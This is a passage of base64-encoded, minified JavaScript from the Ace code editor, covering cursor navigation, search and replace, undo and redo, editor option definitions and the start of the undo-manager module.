oaXMuZ290b0xpbmU9ZnVuY3Rpb24oZSx0LG4pe3RoaXMuc2VsZWN0aW9uLmNsZWFyU2VsZWN0aW9uKCksdGhpcy5zZXNzaW9uLnVuZm9sZCh7cm93OmUtMSxjb2x1bW46dHx8MH0pLHRoaXMuZXhpdE11bHRpU2VsZWN0TW9kZSYmdGhpcy5leGl0TXVsdGlTZWxlY3RNb2RlKCksdGhpcy5tb3ZlQ3Vyc29yVG8oZS0xLHR8fDApLHRoaXMuaXNSb3dGdWxseVZpc2libGUoZS0xKXx8dGhpcy5zY3JvbGxUb0xpbmUoZS0xLCEwLG4pfSx0aGlzLm5hdmlnYXRlVG89ZnVuY3Rpb24oZSx0KXt0aGlzLnNlbGVjdGlvbi5tb3ZlVG8oZSx0KX0sdGhpcy5uYXZpZ2F0ZVVwPWZ1bmN0aW9uKGUpe2lmKHRoaXMuc2VsZWN0aW9uLmlzTXVsdGlMaW5lKCkmJiF0aGlzLnNlbGVjdGlvbi5pc0JhY2t3YXJkcygpKXt2YXIgdD10aGlzLnNlbGVjdGlvbi5hbmNob3IuZ2V0UG9zaXRpb24oKTtyZXR1cm4gdGhpcy5tb3ZlQ3Vyc29yVG9Qb3NpdGlvbih0KX10aGlzLnNlbGVjdGlvbi5jbGVhclNlbGVjdGlvbigpLHRoaXMuc2VsZWN0aW9uLm1vdmVDdXJzb3JCeSgtZXx8LTEsMCl9LHRoaXMubmF2aWdhdGVEb3duPWZ1bmN0aW9uKGUpe2lmKHRoaXMuc2VsZWN0aW9uLmlzTXVsdGlMaW5lKCkmJnRoaXMuc2VsZWN0aW9uLmlzQmFja3dhcmRzKCkpe3ZhciB0PXRoaXMuc2VsZWN0aW9uLmFuY2hvci5nZXRQb3NpdGlvbigpO3JldHVybiB0aGlzLm1vdmVDdXJzb3JUb1Bvc2l0aW9uKHQpfXRoaXMuc2VsZWN0aW9uLmNsZWFyU2VsZWN0aW9uKCksdGhpcy5zZWxlY3Rpb24ubW92ZUN1cnNvckJ5KGV8fDEsMCl9LHRoaXMubmF2aWdhdGVMZWZ0PWZ1bmN0aW9uKGUpe2lmKCF0aGlzLnNlbGVjdGlvbi5pc0VtcHR5KCkpe3ZhciB0PXRoaXMuZ2V0U2VsZWN0aW9uUmFuZ2UoKS5zdGFydDt0aGlzLm1vdmVDdXJzb3JUb1Bvc2l0aW9uKHQpfWVsc2V7ZT1lfHwxO3doaWxlKGUtLSl0aGlzLnNlbGVjdGlvbi5tb3ZlQ3Vyc29yTGVmdCgpfXRoaXMuY2xlYXJTZWxlY3Rpb24oKX0sdGhpcy5uYXZpZ2F0ZVJpZ2h0PWZ1bmN0aW9uKGUpe2lmKCF0aGlzLnNlbGVjdGlvbi5pc0VtcHR5KCkpe3ZhciB0PXRoaXMuZ2V0U2VsZWN0aW9uUmFuZ2UoKS5lbmQ7dGhpcy5tb3ZlQ3Vyc29yVG9Qb3NpdGlvbih0KX1lbHNle2U9ZXx8MTt3aGlsZShlLS0pdGhpcy5zZWxlY3Rpb24ubW92ZUN1cnNvclJpZ2h0KCl9dGhpcy5jbGVhclNlbGVjdGlvbigpfSx0aGlzLm5hdmlnYXRlTGluZVN0YXJ0PWZ1bmN0aW9uKCl7dGhpcy5zZWxlY3Rpb24ubW92ZUN1cnNvckxpbmVTdGFydCgpLHRoaXMuY2xlYXJTZWxlY3Rpb24oKX0sdGhpcy5uYXZpZ2F0ZUxpbmVFbmQ9ZnVuY3Rpb24oKXt0aGlzLnNlbGVjdGlvbi5tb3ZlQ3Vyc29yTGluZUVuZCgpLHRoaXMuY2xlYXJTZWxlY3Rpb24oKX0sdGhpcy5uYXZpZ2F0ZUZpbGVFbmQ9ZnVuY3Rpb24oKXt0aGlzLnNlbGVjdGlvbi5tb3ZlQ3Vyc29yRmlsZUVuZCgpLHRoaXMuY2xlYXJTZWxlY3Rpb24oKX0sdGhpcy5uYXZpZ2F0ZUZpbGVTdGFydD1mdW5jdGlvbigpe3RoaXMuc2VsZWN0aW9uLm1vdmVDdXJzb3JGaWxlU3RhcnQoKSx0aGlzLmNsZWFyU2VsZWN0aW9uKCl9LHRoaXMubmF2aWdhdGVXb3JkUmlnaHQ9ZnVuY3Rpb24oKXt0aGlzLnNlbGVjdGlvbi5tb3ZlQ3Vyc29yV29yZFJpZ2h0KCksdGhpcy5jbGVhclNlbGVjdGlvbigpfSx0aGlzLm5hdmlnYXRlV29yZExlZnQ9ZnVuY3Rpb24oKXt0aGlzLnNlbGVjdGlvbi5tb3ZlQ3Vyc29yV29yZExlZnQoKSx0aGlzLmNsZWFyU2VsZWN0aW9uKCl9LHRoaXMucmVwbGFjZT1mdW5jdGlvbihlLHQpe3QmJnRoaXMuJHNlYXJjaC5zZXQodCk7dmFyIG49dGhpcy4kc2VhcmNoLmZpbmQodGhpcy5zZXNzaW9uKSxyPTA7cmV0dXJuIG4/KHRoaXMuJHRyeVJlcGxhY2UobixlKSYmKHI9MSksdGhpcy5zZWxlY3Rpb24uc2V0U2VsZWN0aW9uUmFuZ2UobiksdGhpcy5yZW5kZXJlci5zY3JvbGxTZWxlY3Rpb25JbnRvVmlldyhuLnN0YXJ0LG4uZW5kKSxyKTpyfSx0aGlzLnJlcGxhY2VBbGw9ZnVuY3Rpb24oZSx0KXt0JiZ0aGlzLiRzZWFyY2guc2V0KHQpO3ZhciBuPXRoaXMuJHNlYXJjaC5maW5kQWxsKHRoaXMuc2Vzc2lvbikscj0wO2lmKCFuLmxlbmd0aClyZXR1cm4gcjt2YXIgaT10aGlzLmdldFNlbGVjdGlvblJhbmdlKCk7dGhpcy5zZWxlY3Rpb24ubW92ZVRvKDAsMCk7Zm9yKHZhciBzPW4ubGVuZ3RoLTE7cz49MDstLXMpdGhpcy4kdHJ5UmVwbGFjZShuW3NdLGUpJiZyKys7cmV0dXJuIHRoaXMuc2VsZWN0aW9uLnNldFNlbGVjdGlvblJhbmdlKGkpLHJ9LHRoaXMuJHRyeVJlcGxhY2U9ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzLnNlc3Npb24uZ2V0VGV4dFJhbmdlKGUpO3JldHVybiB0PXRoaXMuJHNlYXJjaC5yZXBsYWNlKG4sdCksdCE9PW51bGw/KGUuZW5kPXRoaXMuc2Vzc2lvbi5yZXBsYWNlKGUsdCksZSk6bnVsbH0sdGhpcy5nZXRMYXN0U2VhcmNoT3B0aW9ucz1mdW5jdGlvbigpe3JldHVybiB0aGlzLiRzZWFyY2guZ2V0T3B0aW9ucygpfSx0aGlzLmZpbmQ9ZnVuY3Rpb24oZSx0LG4pe3R8fCh0PXt9KSx0eXBlb2YgZT09InN0cmluZyJ8fGUgaW5zdGFuY2VvZiBSZWdFeHA/dC5uZWVkbGU9ZTp0eXBlb2YgZT09Im9iamVjdCImJmkubWl4aW4odCxlKTt2YXIgcj10aGlzLnNlbGVjdGlvbi5nZXRSYW5nZSgpO3QubmVlZGxlPT1udWxsJiYoZT10aGlzLnNlc3Npb24uZ2V0VGV4dFJhbmdlKHIpfHx0aGlzLiRzZWFyY2guJG9wdGlvbnMubmVlZGxlLGV8fChyPXRoaXMuc2Vzc2lvbi5nZXRXb3JkUmFuZ2Uoci5zdGFydC5yb3csci5zdGFydC5jb2x1bW4pLGU9dGhpcy5zZXNzaW9uLmdldFRleHRSYW5nZShyKSksdGhpcy4kc2VhcmNoLnNldCh7bmVlZGxlOmV9KSksdGhpcy4kc2VhcmNoLnNldCh0KSx0LnN0YXJ0fHx0aGlzLiRzZWFyY2guc2V0KHtzdGFydDpyfSk7dmFyIHM9dGhpcy4kc2VhcmNoLmZpbmQodGhpcy5zZXNzaW9uKTtpZih0LnByZXZlbnRTY3JvbGwpcmV0dXJuIHM7aWYocylyZXR1cm4gdGhpcy5yZXZlYWxSYW5nZShzLG4pLHM7dC5iYWNrd2FyZHM/ci5zdGFydD1yLmVuZDpyLmVuZD1yLnN0YXJ0LHRoaXMuc2VsZWN0aW9uLnNldFJhbmdlKHIpfSx0aGlzLmZpbmROZXh0PWZ1bmN0aW9uKGUsdCl7dGhpcy5maW5kKHtza2lwQ3VycmVudDohMCxiYWNrd2FyZHM6ITF9LGUsdCl9LHRoaXMuZmluZFByZXZpb3VzPWZ1bmN0aW9uKGUsdCl7dGhpcy5maW5kKGUse3NraXBDdXJyZW50OiEwLGJhY2t3YXJkczohMH0sdCl9LHRoaXMucmV2ZWFsUmFuZ2U9ZnVuY3Rpb24oZSx0KXt0aGlzLnNlc3Npb24udW5mb2xkKGUpLHRoaXMuc2VsZWN0aW9uLnNldFNlbGVjdGlvblJhbmdlKGUpO3ZhciBuPXRoaXMucmVuZGVyZXIuc2Nyb2xsVG9wO3RoaXMucmVuZGVyZXIuc2Nyb2xsU2VsZWN0aW9uSW50b1ZpZXcoZS5zdGFydCxlLmVuZCwuNSksdCE9PSExJiZ0aGlzLnJlbmRlcmVyLmFuaW1hdGVTY3JvbGxpbmcobil9LHRoaXMudW5kbz1mdW5jdGlvbigpe3RoaXMuc2Vzc2lvbi5nZXRVbmRvTWFuYWdlcigpLnVuZG8odGhpcy5zZXNzaW9uKSx0aGlzLnJlbmRlcmVyLnNjcm9sbEN1cnNvckludG9WaWV3KG51bGwsLjUpfSx0aGlzLnJlZG89ZnVuY3Rpb24oKXt0aGlzLnNlc3Npb24uZ2V0VW5kb01hbmFnZXIoKS5yZWRvKHRoaXMuc2Vzc2lvbiksdGhpcy5yZW5kZXJlci5zY3JvbGxDdXJzb3JJbnRvVmlldyhudWxsLC41KX0sdGhpcy5kZXN0cm95PWZ1bmN0aW9uKCl7dGhpcy4kdG9EZXN0cm95JiYodGhpcy4kdG9EZXN0cm95LmZvckVhY2goZnVuY3Rpb24oZSl7ZS5kZXN0cm95KCl9KSx0aGlzLiR0b0Rlc3Ryb3k9bnVsbCksdGhpcy4kbW91c2VIYW5kbGVyJiZ0aGlzLiRtb3VzZUhhbmRsZXIuZGVzdHJveSgpLHRoaXMucmVuZGVyZXIuZGVzdHJveSgpLHRoaXMuX3NpZ25hbCgiZGVzdHJveSIsdGhpcyksdGhpcy5zZXNzaW9uJiZ0aGlzLnNlc3Npb24uZGVzdHJveSgpLHRoaXMuXyRlbWl0SW5wdXRFdmVudCYmdGhpcy5fJGVtaXRJbnB1dEV2ZW50LmNhbmNlbCgpLHRoaXMucmVtb3ZlQWxsTGlzdGVuZXJzKCl9LHRoaXMuc2V0QXV0b1Njcm9sbEVkaXRvckludG9WaWV3PWZ1bmN0aW9uKGUpe2lmKCFlKXJldHVybjt2YXIgdCxuPXRoaXMscj0hMTt0aGlzLiRzY3JvbGxBbmNob3J8fCh0aGlzLiRzY3JvbGxBbmNob3I9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2IikpO3ZhciBpPXRoaXMuJHNjcm9sbEFuY2hvcjtpLnN0eWxlLmNzc1RleHQ9InBvc2l0aW9uOmFic29sdXRlIix0aGlzLmNvbnRhaW5lci5pbnNlcnRCZWZvcmUoaSx0aGlzLmNvbnRhaW5lci5maXJzdENoaWxkKTt2YXIgcz10aGlzLm9uKCJjaGFuZ2VTZWxlY3Rpb24iLGZ1bmN0aW9uKCl7cj0hMH0pLG89dGhpcy5yZW5kZXJlci5vbigiYmVmb3JlUmVuZGVyIixmdW5jdGlvbigpe3ImJih0PW4ucmVuZGVyZXIuY29udGFpbmVyLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpKX0pLHU9dGhpcy5yZW5kZXJlci5vbigiYWZ0ZXJSZW5kZXIiLGZ1bmN0aW9uKCl7aWYociYmdCYmKG4uaXNGb2N1c2VkKCl8fG4uc2VhcmNoQm94JiZuLnNlYXJjaEJveC5pc0ZvY3VzZWQoKSkpe3ZhciBlPW4ucmVuZGVyZXIscz1lLiRjdXJzb3JMYXllci4kcGl4ZWxQb3Msbz1lLmxheWVyQ29uZmlnLHU9cy50b3Atby5vZmZzZXQ7cy50b3A+PTAmJnUrdC50b3A8MD9yPSEwOnMudG9wPG8uaGVpZ2h0JiZzLnRvcCt0LnRvcCtvLmxpbmVIZWlnaHQ+d2luZG93LmlubmVySGVpZ2h0P3I9ITE6cj1udWxsLHIhPW51bGwmJihpLnN0eWxlLnRvcD11KyJweCIsaS5zdHlsZS5sZWZ0PXMubGVmdCsicHgiLGkuc3R5bGUuaGVpZ2h0PW8ubGluZUhlaWdodCsicHgiLGkuc2Nyb2xsSW50b1ZpZXcocikpLHI9dD1udWxsfX0pO3RoaXMuc2V0QXV0b1Njcm9sbEVkaXRvckludG9WaWV3PWZ1bmN0aW9uKGUpe2lmKGUpcmV0dXJuO2RlbGV0ZSB0aGlzLnNldEF1dG9TY3JvbGxFZGl0b3JJbnRvVmlldyx0aGlzLm9mZigiY2hhbmdlU2VsZWN0aW9uIixzKSx0aGlzLnJlbmRlcmVyLm9mZigiYWZ0ZXJSZW5kZXIiLHUpLHRoaXMucmVuZGVyZXIub2ZmKCJiZWZvcmVSZW5kZXIiLG8pfX0sdGhpcy4kcmVzZXRDdXJzb3JTdHlsZT1mdW5jdGlvbigpe3ZhciBlPXRoaXMuJGN1cnNvclN0eWxlfHwiYWNlIix0PXRoaXMucmVuZGVyZXIuJGN1cnNvckxheWVyO2lmKCF0KXJldHVybjt0LnNldFNtb290aEJsaW5raW5nKC9zbW9vdGgvLnRlc3QoZSkpLHQuaXNCbGlua2luZz0hdGhpcy4kcmVhZE9ubHkmJmUhPSJ3aWRlIixzLnNldENzc0NsYXNzKHQuZWxlbWVudCwiYWNlX3NsaW0tY3Vyc29ycyIsL3NsaW0vLnRlc3QoZSkpfSx0aGlzLnByb21wdD1mdW5jdGlvbihlLHQsbil7dmFyIHI9dGhpczt5LmxvYWRNb2R1bGUoIi4vZXh0L3Byb21wdCIsZnVuY3Rpb24oaSl7aS5wcm9tcHQocixlLHQsbil9KX19LmNhbGwoRS5wcm90b3R5cGUpLHkuZGVmaW5lT3B0aW9ucyhFLnByb3RvdHlwZSwiZWRpdG9yIix7c2VsZWN0aW9uU3R5bGU6e3NldDpmdW5jdGlvbihlKXt0aGlzLm9uU2VsZWN0aW9uQ2hhbmdlKCksdGhpcy5fc2lnbmFsKCJjaGFuZ2VTZWxlY3Rpb25TdHlsZSIse2RhdGE6ZX0pfSxpbml0aWFsVmFsdWU6ImxpbmUifSxoaWdobGlnaHRBY3RpdmVMaW5lOntzZXQ6ZnVuY3Rpb24oKXt0aGlzLiR1cGRhdGVIaWdobGlnaHRBY3RpdmVMaW5lKCl9LGluaXRpYWxWYWx1ZTohMH0saGlnaGxpZ2h0U2VsZWN0ZWRXb3JkOntzZXQ6ZnVuY3Rpb24oZSl7dGhpcy4kb25TZWxlY3Rpb25DaGFuZ2UoKX0saW5pdGlhbFZhbHVlOiEwfSxyZWFkT25seTp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMudGV4dElucHV0LnNldFJlYWRPbmx5KGUpLHRoaXMuJHJlc2V0Q3Vyc29yU3R5bGUoKX0saW5pdGlhbFZhbHVlOiExfSxjb3B5V2l0aEVtcHR5U2VsZWN0aW9uOntzZXQ6ZnVuY3Rpb24oZSl7dGhpcy50ZXh0SW5wdXQuc2V0Q29weVdpdGhFbXB0eVNlbGVjdGlvbihlKX0saW5pdGlhbFZhbHVlOiExfSxjdXJzb3JTdHlsZTp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMuJHJlc2V0Q3Vyc29yU3R5bGUoKX0sdmFsdWVzOlsiYWNlIiwic2xpbSIsInNtb290aCIsIndpZGUiXSxpbml0aWFsVmFsdWU6ImFjZSJ9LG1lcmdlVW5kb0RlbHRhczp7dmFsdWVzOlshMSwhMCwiYWx3YXlzIl0saW5pdGlhbFZhbHVlOiEwfSxiZWhhdmlvdXJzRW5hYmxlZDp7aW5pdGlhbFZhbHVlOiEwfSx3cmFwQmVoYXZpb3Vyc0VuYWJsZWQ6e2luaXRpYWxWYWx1ZTohMH0sZW5hYmxlQXV0b0luZGVudDp7aW5pdGlhbFZhbHVlOiEwfSxhdXRvU2Nyb2xsRWRpdG9ySW50b1ZpZXc6e3NldDpmdW5jdGlvbihlKXt0aGlzLnNldEF1dG9TY3JvbGxFZGl0b3JJbnRvVmlldyhlKX19LGtleWJvYXJkSGFuZGxlcjp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMuc2V0S2V5Ym9hcmRIYW5kbGVyKGUpfSxnZXQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4ka2V5YmluZGluZ0lkfSxoYW5kbGVzU2V0OiEwfSx2YWx1ZTp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMuc2Vzc2lvbi5zZXRWYWx1ZShlKX0sZ2V0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZ2V0VmFsdWUoKX0saGFuZGxlc1NldDohMCxoaWRkZW46ITB9LHNlc3Npb246e3NldDpmdW5jdGlvbihlKXt0aGlzLnNldFNlc3Npb24oZSl9LGdldDpmdW5jdGlvbigpe3JldHVybiB0aGlzLnNlc3Npb259LGhhbmRsZXNTZXQ6ITAsaGlkZGVuOiEwfSxzaG93TGluZU51bWJlcnM6e3NldDpmdW5jdGlvbihlKXt0aGlzLnJlbmRlcmVyLiRndXR0ZXJMYXllci5zZXRTaG93TGluZU51bWJlcnMoZSksdGhpcy5yZW5kZXJlci4kbG9vcC5zY2hlZHVsZSh0aGlzLnJlbmRlcmVyLkNIQU5HRV9HVVRURVIpLGUmJnRoaXMuJHJlbGF0aXZlTGluZU51bWJlcnM/Uy5hdHRhY2godGhpcyk6Uy5kZXRhY2godGhpcyl9LGluaXRpYWxWYWx1ZTohMH0scmVsYXRpdmVMaW5lTnVtYmVyczp7c2V0OmZ1bmN0aW9uKGUpe3RoaXMuJHNob3dMaW5lTnVtYmVycyYmZT9TLmF0dGFjaCh0aGlzKTpTLmRldGFjaCh0aGlzKX19LHBsYWNlaG9sZGVyOntzZXQ6ZnVuY3Rpb24oZSl7dGhpcy4kdXBkYXRlUGxhY2Vob2xkZXJ8fCh0aGlzLiR1cGRhdGVQbGFjZWhvbGRlcj1mdW5jdGlvbigpe3ZhciBlPXRoaXMuc2Vzc2lvbiYmKHRoaXMucmVuZGVyZXIuJGNvbXBvc2l0aW9ufHx0aGlzLmdldFZhbHVlKCkpO2lmKGUmJnRoaXMucmVuZGVyZXIucGxhY2Vob2xkZXJOb2RlKXRoaXMucmVuZGVyZXIub2ZmKCJhZnRlclJlbmRlciIsdGhpcy4kdXBkYXRlUGxhY2Vob2xkZXIpLHMucmVtb3ZlQ3NzQ2xhc3ModGhpcy5jb250YWluZXIsImFjZV9oYXNQbGFjZWhvbGRlciIpLHRoaXMucmVuZGVyZXIucGxhY2Vob2xkZXJOb2RlLnJlbW92ZSgpLHRoaXMucmVuZGVyZXIucGxhY2Vob2xkZXJOb2RlPW51bGw7ZWxzZSBpZighZSYmIXRoaXMucmVuZGVyZXIucGxhY2Vob2xkZXJOb2RlKXt0aGlzLnJlbmRlcmVyLm9uKCJhZnRlclJlbmRlciIsdGhpcy4kdXBkYXRlUGxhY2Vob2xkZXIpLHMuYWRkQ3NzQ2xhc3ModGhpcy5jb250YWluZXIsImFjZV9oYXNQbGFjZWhvbGRlciIpO3ZhciB0PXMuY3JlYXRlRWxlbWVudCgiZGl2Iik7dC5jbGFzc05hbWU9ImFjZV9wbGFjZWhvbGRlciIsdC50ZXh0Q29udGVudD10aGlzLiRwbGFjZWhvbGRlcnx8IiIsdGhpcy5yZW5kZXJlci5wbGFjZWhvbGRlck5vZGU9dCx0aGlzLnJlbmRlcmVyLmNvbnRlbnQuYXBwZW5kQ2hpbGQodGhpcy5yZW5kZXJlci5wbGFjZWhvbGRlck5vZGUpfWVsc2UhZSYmdGhpcy5yZW5kZXJlci5wbGFjZWhvbGRlck5vZGUmJih0aGlzLnJlbmRlcmVyLnBsYWNlaG9sZGVyTm9kZS50ZXh0Q29udGVudD10aGlzLiRwbGFjZWhvbGRlcnx8IiIpfS5iaW5kKHRoaXMpLHRoaXMub24oImlucHV0Iix0aGlzLiR1cGRhdGVQbGFjZWhvbGRlcikpLHRoaXMuJHVwZGF0ZVBsYWNlaG9sZGVyKCl9fSxjdXN0b21TY3JvbGxiYXI6InJlbmRlcmVyIixoU2Nyb2xsQmFyQWx3YXlzVmlzaWJsZToicmVuZGVyZXIiLHZTY3JvbGxCYXJBbHdheXNWaXNpYmxlOiJyZW5kZXJlciIsaGlnaGxpZ2h0R3V0dGVyTGluZToicmVuZGVyZXIiLGFuaW1hdGVkU2Nyb2xsOiJyZW5kZXJlciIsc2hvd0ludmlzaWJsZXM6InJlbmRlcmVyIixzaG93UHJpbnRNYXJnaW46InJlbmRlcmVyIixwcmludE1hcmdpbkNvbHVtbjoicmVuZGVyZXIiLHByaW50TWFyZ2luOiJyZW5kZXJlciIsZmFkZUZvbGRXaWRnZXRzOiJyZW5kZXJlciIsc2hvd0ZvbGRXaWRnZXRzOiJyZW5kZXJlciIsZGlzcGxheUluZGVudEd1aWRlczoicmVuZGVyZXIiLGhpZ2hsaWdodEluZGVudEd1aWRlczoicmVuZGVyZXIiLHNob3dHdXR0ZXI6InJlbmRlcmVyIixmb250U2l6ZToicmVuZGVyZXIiLGZvbnRGYW1pbHk6InJlbmRlcmVyIixtYXhMaW5lczoicmVuZGVyZXIiLG1pbkxpbmVzOiJyZW5kZXJlciIsc2Nyb2xsUGFzdEVuZDoicmVuZGVyZXIiLGZpeGVkV2lkdGhHdXR0ZXI6InJlbmRlcmVyIix0aGVtZToicmVuZGVyZXIiLGhhc0Nzc1RyYW5zZm9ybXM6InJlbmRlcmVyIixtYXhQaXhlbEhlaWdodDoicmVuZGVyZXIiLHVzZVRleHRhcmVhRm9ySU1FOiJyZW5kZXJlciIsc2Nyb2xsU3BlZWQ6IiRtb3VzZUhhbmRsZXIiLGRyYWdEZWxheToiJG1vdXNlSGFuZGxlciIsZHJhZ0VuYWJsZWQ6IiRtb3VzZUhhbmRsZXIiLGZvY3VzVGltZW91dDoiJG1vdXNlSGFuZGxlciIsdG9vbHRpcEZvbGxvd3NNb3VzZToiJG1vdXNlSGFuZGxlciIsZmlyc3RMaW5lTnVtYmVyOiJzZXNzaW9uIixvdmVyd3JpdGU6InNlc3Npb24iLG5ld0xpbmVNb2RlOiJzZXNzaW9uIix1c2VXb3JrZXI6InNlc3Npb24iLHVzZVNvZnRUYWJzOiJzZXNzaW9uIixuYXZpZ2F0ZVdpdGhpblNvZnRUYWJzOiJzZXNzaW9uIix0YWJTaXplOiJzZXNzaW9uIix3cmFwOiJzZXNzaW9uIixpbmRlbnRlZFNvZnRXcmFwOiJzZXNzaW9uIixmb2xkU3R5bGU6InNlc3Npb24iLG1vZGU6InNlc3Npb24ifSk7dmFyIFM9e2dldFRleHQ6ZnVuY3Rpb24oZSx0KXtyZXR1cm4oTWF0aC5hYnMoZS5zZWxlY3Rpb24ubGVhZC5yb3ctdCl8fHQrMSsodDw5PyJcdTAwYjciOiIiKSkrIiJ9LGdldFdpZHRoOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gTWF0aC5tYXgodC50b1N0cmluZygpLmxlbmd0aCwobi5sYXN0Um93KzEpLnRvU3RyaW5nKCkubGVuZ3RoLDIpKm4uY2hhcmFjdGVyV2lkdGh9LHVwZGF0ZTpmdW5jdGlvbihlLHQpe3QucmVuZGVyZXIuJGxvb3Auc2NoZWR1bGUodC5yZW5kZXJlci5DSEFOR0VfR1VUVEVSKX0sYXR0YWNoOmZ1bmN0aW9uKGUpe2UucmVuZGVyZXIuJGd1dHRlckxheWVyLiRyZW5kZXJlcj10aGlzLGUub24oImNoYW5nZVNlbGVjdGlvbiIsdGhpcy51cGRhdGUpLHRoaXMudXBkYXRlKG51bGwsZSl9LGRldGFjaDpmdW5jdGlvbihlKXtlLnJlbmRlcmVyLiRndXR0ZXJMYXllci4kcmVuZGVyZXI9PXRoaXMmJihlLnJlbmRlcmVyLiRndXR0ZXJMYXllci4kcmVuZGVyZXI9bnVsbCksZS5vZmYoImNoYW5nZVNlbGVjdGlvbiIsdGhpcy51cGRhdGUpLHRoaXMudXBkYXRlKG51bGwsZSl9fTt0LkVkaXRvcj1FfSksZGVmaW5lKCJhY2UvdW5kb21hbmFnZXIiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvcmFuZ2UiXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIGkoZSx0KXtmb3IodmFyIG49dDtuLS07KXt2YXIgcj1lW25dO2lmKHImJiFyWzBdLmlnbm9yZSl7d2hpbGUobjx0LTEpe3ZhciBpPWQoZVtuXSxlW24rMV0pO2Vbbl09aVswXSxlW24rMV09aVsxXSxuKyt9cmV0dXJuITB9fX1mdW5jdGlvbiBhKGUpe3ZhciB0PWUuYWN0aW9uPT0iaW5zZXJ0IixuPWUuc3RhcnQscj1lLmVuZCxpPShyLnJvdy1uLnJvdykqKHQ/MTotMSkscz0oci5jb2x1bW4tbi5jb2x1bW4pKih0PzE6LTEpO3QmJihyPW4pO2Zvcih2YXIgbyBpbiB0aGlzLm1hcmtzKXt2YXIgYT10aGlzLm1hcmtzW29dLGY9dShhLG4pO2lmKGY8MCljb250aW51ZTtpZihmPT09MCYmdCl7aWYoYS5iaWFzIT0xKXthLmJpYXM9PS0xO2NvbnRpbnVlfWY9MX12YXIgbD10P2Y6dShhLHIpO2lmKGw+MCl7YS5yb3crPWksYS5jb2x1bW4rPWEucm93PT1yLnJvdz9zOjA7Y29udGludWV9IXQmJmw8PTAmJihhLnJvdz1uLnJvdyxhLmNvbHVtbj1uLmNvbHVtbixsPT09MCYmKGEuYmlhcz0xKSl9fWZ1bmN0aW9uIGYoZSl7cmV0dXJue3JvdzplLnJvdyxjb2x1bW46ZS5jb2x1bW59fWZ1bmN0aW9uIGwoZSl7cmV0dXJue3N0YXJ0OmYoZS5zdGFydCksZW5kOmYoZS5lbmQpLGFjdGlvbjplLmFjdGlvbixsaW5lczplLmxpbmVzLnNsaWNlKCl9fWZ1bmN0aW9uIGMoZSl7ZT1lfHx0aGlzO2lmKEFycmF5LmlzQXJyYXkoZSkpcmV0dXJuIGUubWFwKGMpLmpvaW4oIlxuIik7dmFyIHQ9IiI7ZS5hY3Rpb24/KHQ9ZS5hY3Rpb249PSJpbnNlcnQiPyIrIjoiLSIsdCs9IlsiK2UubGluZXMrIl0iKTplLnZhbHVlJiYoQXJyYXkuaXNBcnJheShlLnZhbHVlKT90PWUudmFsdWUubWFwKGgpLmpvaW4oIlxuIik6dD1oKGUudmFsdWUpKSxlLnN0YXJ0JiYodCs9aChlKSk7aWYoZS5pZHx8ZS5yZXYpdCs9IgkoIisoZS5pZHx8ZS5yZXYpKyIpIjtyZXR1cm4gdH1mdW5jdGlvbiBoKGUpe3JldHVybiBlLnN0YXJ0LnJvdysiOiIrZS5zdGFydC5jb2x1bW4rIj0+IitlLmVuZC5yb3crIjoiK2UuZW5kLmNvbHVtbn1mdW5jdGlvbiBwKGUsdCl7dmFyIG49ZS5hY3Rpb249PSJpbnNlcnQiLHI9dC5hY3Rpb249PSJpbnNlcnQiO2lmKG4mJnIpaWYobyh0LnN0YXJ0LGUuZW5kKT49MCltKHQsZSwtMSk7ZWxzZXtpZighKG8odC5zdGFydCxlLnN0YXJ0KTw9MCkpcmV0dXJuIG51bGw7bShlLHQsMSl9ZWxzZSBpZihuJiYhcilpZihvKHQuc3RhcnQsZS5lbmQpPj0wKW0odCxlLC0xKTtlbHNle2lmKCEobyh0LmVuZCxlLnN0YXJ0KTw9MCkpcmV0dXJuIG51bGw7bShlLHQsLTEpfWVsc2UgaWYoIW4mJnIpaWYobyh0LnN0YXJ0LGUuc3RhcnQpPj0wKW0odCxlLDEpO2Vsc2V7aWYoIShvKHQuc3RhcnQsZS5zdGFydCk8PTApKXJldHVybiBudWxsO20oZSx0LDEpfWVsc2UgaWYoIW4mJiFyKWlmKG8odC5zdGFydCxlLnN0YXJ0KT49MCltKHQsZSwxKTtlbHNle2lmKCEobyh0LmVuZCxlLnN0YXJ0KTw9MCkpcmV0dXJuIG51bGw7bShlLHQsLTEpfXJldHVyblt0LGVdfWZ1bmN0aW9uIGQoZSx0KXtmb3IodmFyIG49ZS5sZW5ndGg7bi0tOylmb3IodmFyIHI9MDtyPHQubGVuZ3RoO3IrKylpZighcChlW25dLHRbcl0pKXt3aGlsZShuPGUubGVuZ3RoKXt3aGlsZShyLS0pcCh0W3JdLGVbbl0pO3I9dC5sZW5ndGgsbisrfXJldHVybltlLHRdfXJldHVybiBlLnNlbGVjdGlvbkJlZm9yZT10LnNlbGVjdGlvbkJlZm9yZT1lLnNlbGVjdGlvbkFmdGVyPXQuc2VsZWN0aW9uQWZ0ZXI9bnVsbCxbdCxlXX1mdW5jdGlvbiB2KGUsdCl7dmFyIG49ZS5hY3Rpb249PSJpbnNlcnQiLHI9dC5hY3Rpb249PSJpbnNlcnQiO2lmKG4mJnIpbyhlLnN0YXJ0LHQuc3RhcnQpPDA/bSh0LGUsMSk6bShlLHQsMSk7ZWxzZSBpZihuJiYhcilvKGUuc3RhcnQsdC5lbmQpPj0wP20oZSx0LC0xKTpvKGUuc3RhcnQsdC5zdGFydCk8PTA/bSh0LGUsMSk6KG0oZSxzLmZyb21Qb2ludHModC5zdGFydCxlLnN0YXJ0KSwtMSksbSh0LGUsMSkpO2Vsc2UgaWYoIW4mJnIpbyh0LnN0YXJ0LGUuZW5kKT49MD9tKHQsZSwtMSk6byh0LnN0YXJ0LGUuc3RhcnQpPD0wP20oZSx0LDEpOihtKHQscy5mcm9tUG9pbnRzKGUuc3RhcnQsdC5zdGFydCksLTEpLG0oZSx0LDEpKTtlbHNlIGlmKCFuJiYhci